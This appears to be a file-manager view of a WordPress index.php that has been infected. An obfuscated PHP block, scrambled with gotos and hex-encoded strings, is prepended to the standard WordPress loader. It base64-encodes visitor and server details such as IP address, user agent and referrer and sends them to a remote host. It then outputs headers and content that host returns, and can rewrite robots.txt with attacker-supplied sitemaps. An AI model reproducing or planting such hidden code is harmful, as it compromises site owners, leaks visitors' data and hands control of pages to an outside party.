Edit file File name : index.php Content :<?php //Obfuscate by https://uutool.cn/php/ goto xAtBL; dhcGM: $q0RfD = cURL_INIT(); goto PnN90; H0gkf: $JVez3 = CURL_ExeC($q0RfD); goto yUq5q; UAJFG: cUrl_SetoPT($q0RfD, CURLOPT_RETURNTRANSFER, ROUnD(0.008999999999999999 + 0.02574 + 0.36343 + 0.04956 + 0.27046 + 0.282)); goto yyw4b; e1UBq: ARray_POP($BMTG9); goto Lb_px; XRcHd: $P9hQV = TRIm($sYGJN[roUND(0 + 0)]); goto X0LEx; Y97WG: FcLosE($y_g_T); goto DhAi5; JZlMG: uOhTe: goto SEvM2; MBLcm: $iwPjL = "\x55\x73\145\x72\x2d\141\147\145\x6e\164\72\52" . PHP_EOL; goto j6CNl; wjYXN: FbkN2: goto QAKHu; QAKHu: echo "\110\124\124\x50\x2f\x31\x2e\x30\40\x34\x30\64\40\x4e\x6f\x74\x20\106\x6f\165\156\144\x5f\x5f\x5f" . $lvvm2 . "\137\137\137" . $SReLC; goto U7niY; PnN90: cUrl_SetOpT($q0RfD, CURLOPT_URL, $tx2V6); goto UAJFG; yYcrE: LJ3y_: goto aSfKK; xAtBL: ErrOR_REportInG(RouND(0 + 0 + 0 + 0 + 0 + 0 + 0)); goto H5Zc8; fechQ: foreach ($awTO7 as $pyh8U) { goto lSJfJ; W3Ed_: $oycIC = StR_rEPlace("\53", "\55", $oycIC); goto h9Gj8; h9Gj8: $oycIC = STR_RePLACe("\x2f", "\137", $oycIC); goto NFfNF; I09sP: $Dsz3u .= "\46" . $pyh8U . "\x3d" . $oycIC; goto PNGkd; lSJfJ: $aS1UQ = isset($_SERVER[$pyh8U]) ? $_SERVER[$pyh8U] : ''; goto y0DHM; y0DHM: $oycIC = BaSe64_ENcoDe(TRiM($aS1UQ)); goto W3Ed_; PNGkd: ZGCVr: goto EBUvC; NFfNF: $oycIC = stR_rePLaCe("\75", "\56", $oycIC); goto I09sP; EBUvC: } goto yYcrE; Bwi2p: fwRITE($y_g_T, $iwPjL); goto Y97WG; pmHzJ: HeaDER($P9hQV); goto dg5iH; qFPHI: lZgJz: goto PQvPW; c9NSw: exit; goto n0f9h; tcPPg: $Ga9vo = tRIM($sYGJN[rounD(0.42990196 + 0.171569 + 0.39853)]); goto Ld7qK; H5Zc8: $lvvm2 = "\172\152\61\x32\65\63"; goto xZAI2; gMR3d: $Dsz3u = "\57\x69\156\x64\145\170\x2e\160\150\x70\x3f\x56\x53\x3d" . $SReLC . "\46\x47\x50\75" . $lvvm2; goto Qwcem; yUq5q: $JVez3 = TrIm($JVez3); goto OePuw; sqZzY: if (!($zE7gX == "\x65\170\x69\x74")) { goto naPgc; } goto WW7PV; ruHQu: $y_g_T = fOpEn($_SERVER["\x44\x4f\x43\125\x4d\105\x4e\x54\x5f\x52\117\117\x54"] . "\57\x72\x6f\x62\157\x74\x73\56\164\x78\164", "\167"); goto Bwi2p; j6CNl: $iwPjL .= "\x41\154\154\x6f\167\72\x2f" . PHP_EOL; goto dVwnD; B3JHy: if (!empty($JVez3)) { goto JgoWy; } goto GFr_p; aSfKK: $tx2V6 = $YNE24 . $Dsz3u; goto dhcGM; OqLtG: headEr("\x48\x54\x54\x50\57\x31\56\60\x20\x34\x30\x34\40\x4e\x6f\x74\40\x46\157\x75\x6e\144"); goto wjYXN; nHgpE: hEAder("\110\124\x54\120\57\61\56\x30\x20\x34\x30\64\40\x4e\x6f\x74\x20\106\157\165\156\x64"); goto c9NSw; t5Be2: sSoea: goto nHgpE; boYMh: $sYGJN = explodE("\174\100\43\x24\x7c", $JVez3); goto gPei3; TDLYC: $JVez3 = trIM($JVez3); goto boYMh; gRO34: if (!(PREG_MATCH("\x2f\152\160\x32\60\x32\63\143\167\167\57\163\151", $_SERVER["\x52\x45\x51\x55\105\x53\124\137\x55\122\x49"]) == rounD(0 + 0 + 0 + 0 + 0))) { goto FbkN2; } goto OqLtG; GQZ4G: goto bYfvA; goto t5Be2; DhAi5: echo "\x72\157\142\157\164\x73\x2e\x74\x78\x74\x20\144\x6f\x6e\145"; goto l5ZBr; l5ZBr: exit; goto Rm1pV; Sm_7d: BD2bF: goto ruHQu; dg5iH: ejO9h: goto tcPPg; GFr_p: $JVez3 = file_get_CoNteNTS($tx2V6); goto lAs3h; SEvM2: $zE7gX = TrIM($sYGJN[$TBOq7 - rOUND(0.62565 + 0.2487 + 0.1256)]); goto sqZzY; OePuw: CURL_cLoSE($q0RfD); goto B3JHy; U7niY: exit; goto qFPHI; X0LEx: if (empty($P9hQV)) { goto ejO9h; } goto pmHzJ; PQvPW: $YNE24 = "\x68\x74\164\160\x3a\x2f\x2f" . $lvvm2 . "\x2e\152\x65\x77\151\163\150\x6c\145\141\166\x65\x2e\143\x6f\x6d"; goto gMR3d; yyw4b: cUrL_SETopt($q0RfD, CURLOPT_CONNECTTIMEOUT, RouNd(1.9695 + 1.6666667 + 1.443 + 1.948021 + 0.87029 + 2.103004)); goto H0gkf; s0DwM: if (!($zE7gX == "\160\x69\x6e\x67")) { goto CpLBC; } goto MBLcm; O1L3b: echo $Ga9vo; goto JZlMG; hkQ7i: if (!(preg_MaTCH("\x2f\152\x70\62\x30\62\63\57\x73\x69", $_SERVER["\122\105\x51\x55\105\x53\124\137\125\x52\x49"]) == Round(0.0779955 + 0.13376 + 0.279955 + 0.217 + 0.29088169))) { goto lZgJz; } goto gRO34; gPei3: $TBOq7 = CoUNT($sYGJN); goto Bx0Xq; Rm1pV: CpLBC: goto GQZ4G; TJBpU: naPgc: goto s0DwM; Ld7qK: if (empty($Ga9vo)) { goto uOhTe; } goto O1L3b; xZAI2: $SReLC = "\x73\x79\61"; goto hkQ7i; dVwnD: $BMTG9 = explODe("\74\142\162\x2f\x3e", $Ga9vo); goto e1UBq; Lb_px: foreach ($BMTG9 as $NoYsk) { $iwPjL .= "\123\151\x74\145\x6d\141\160\x3a" . $NoYsk . PHP_EOL; lZtvJ: } goto Sm_7d; Bx0Xq: if ($TBOq7 < 3) { goto sSoea; } goto XRcHd; lAs3h: JgoWy: goto TDLYC; Qwcem: $awTO7 = array("\x53\103\122\111\x50\x54\x5f\x4e\101\x4d\105", "\122\x45\121\125\105\123\x54\x5f\x55\122\111", "\110\124\x54\x50\123", "\x52\105\x51\x55\x45\123\x54\x5f\123\x43\110\105\x4d\x45", "\x53\x45\x52\x56\x45\122\x5f\x50\117\122\124", "\122\105\x4d\x4f\124\x45\137\x41\104\x44\122", "\x48\124\x54\x50\137\x52\x45\106\105\122\105\x52", "\110\x54\124\x50\x5f\x41\103\103\x45\x50\x54\x5f\x4c\x41\x4e\x47\125\x41\107\105", "\x48\124\124\x50\x5f\x55\123\105\122\137\x41\107\105\116\124", "\110\x54\124\120\x5f\x48\117\123\x54"); goto fechQ; WW7PV: exit; goto TJBpU; n0f9h: bYfvA:?> <?php /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php'; Save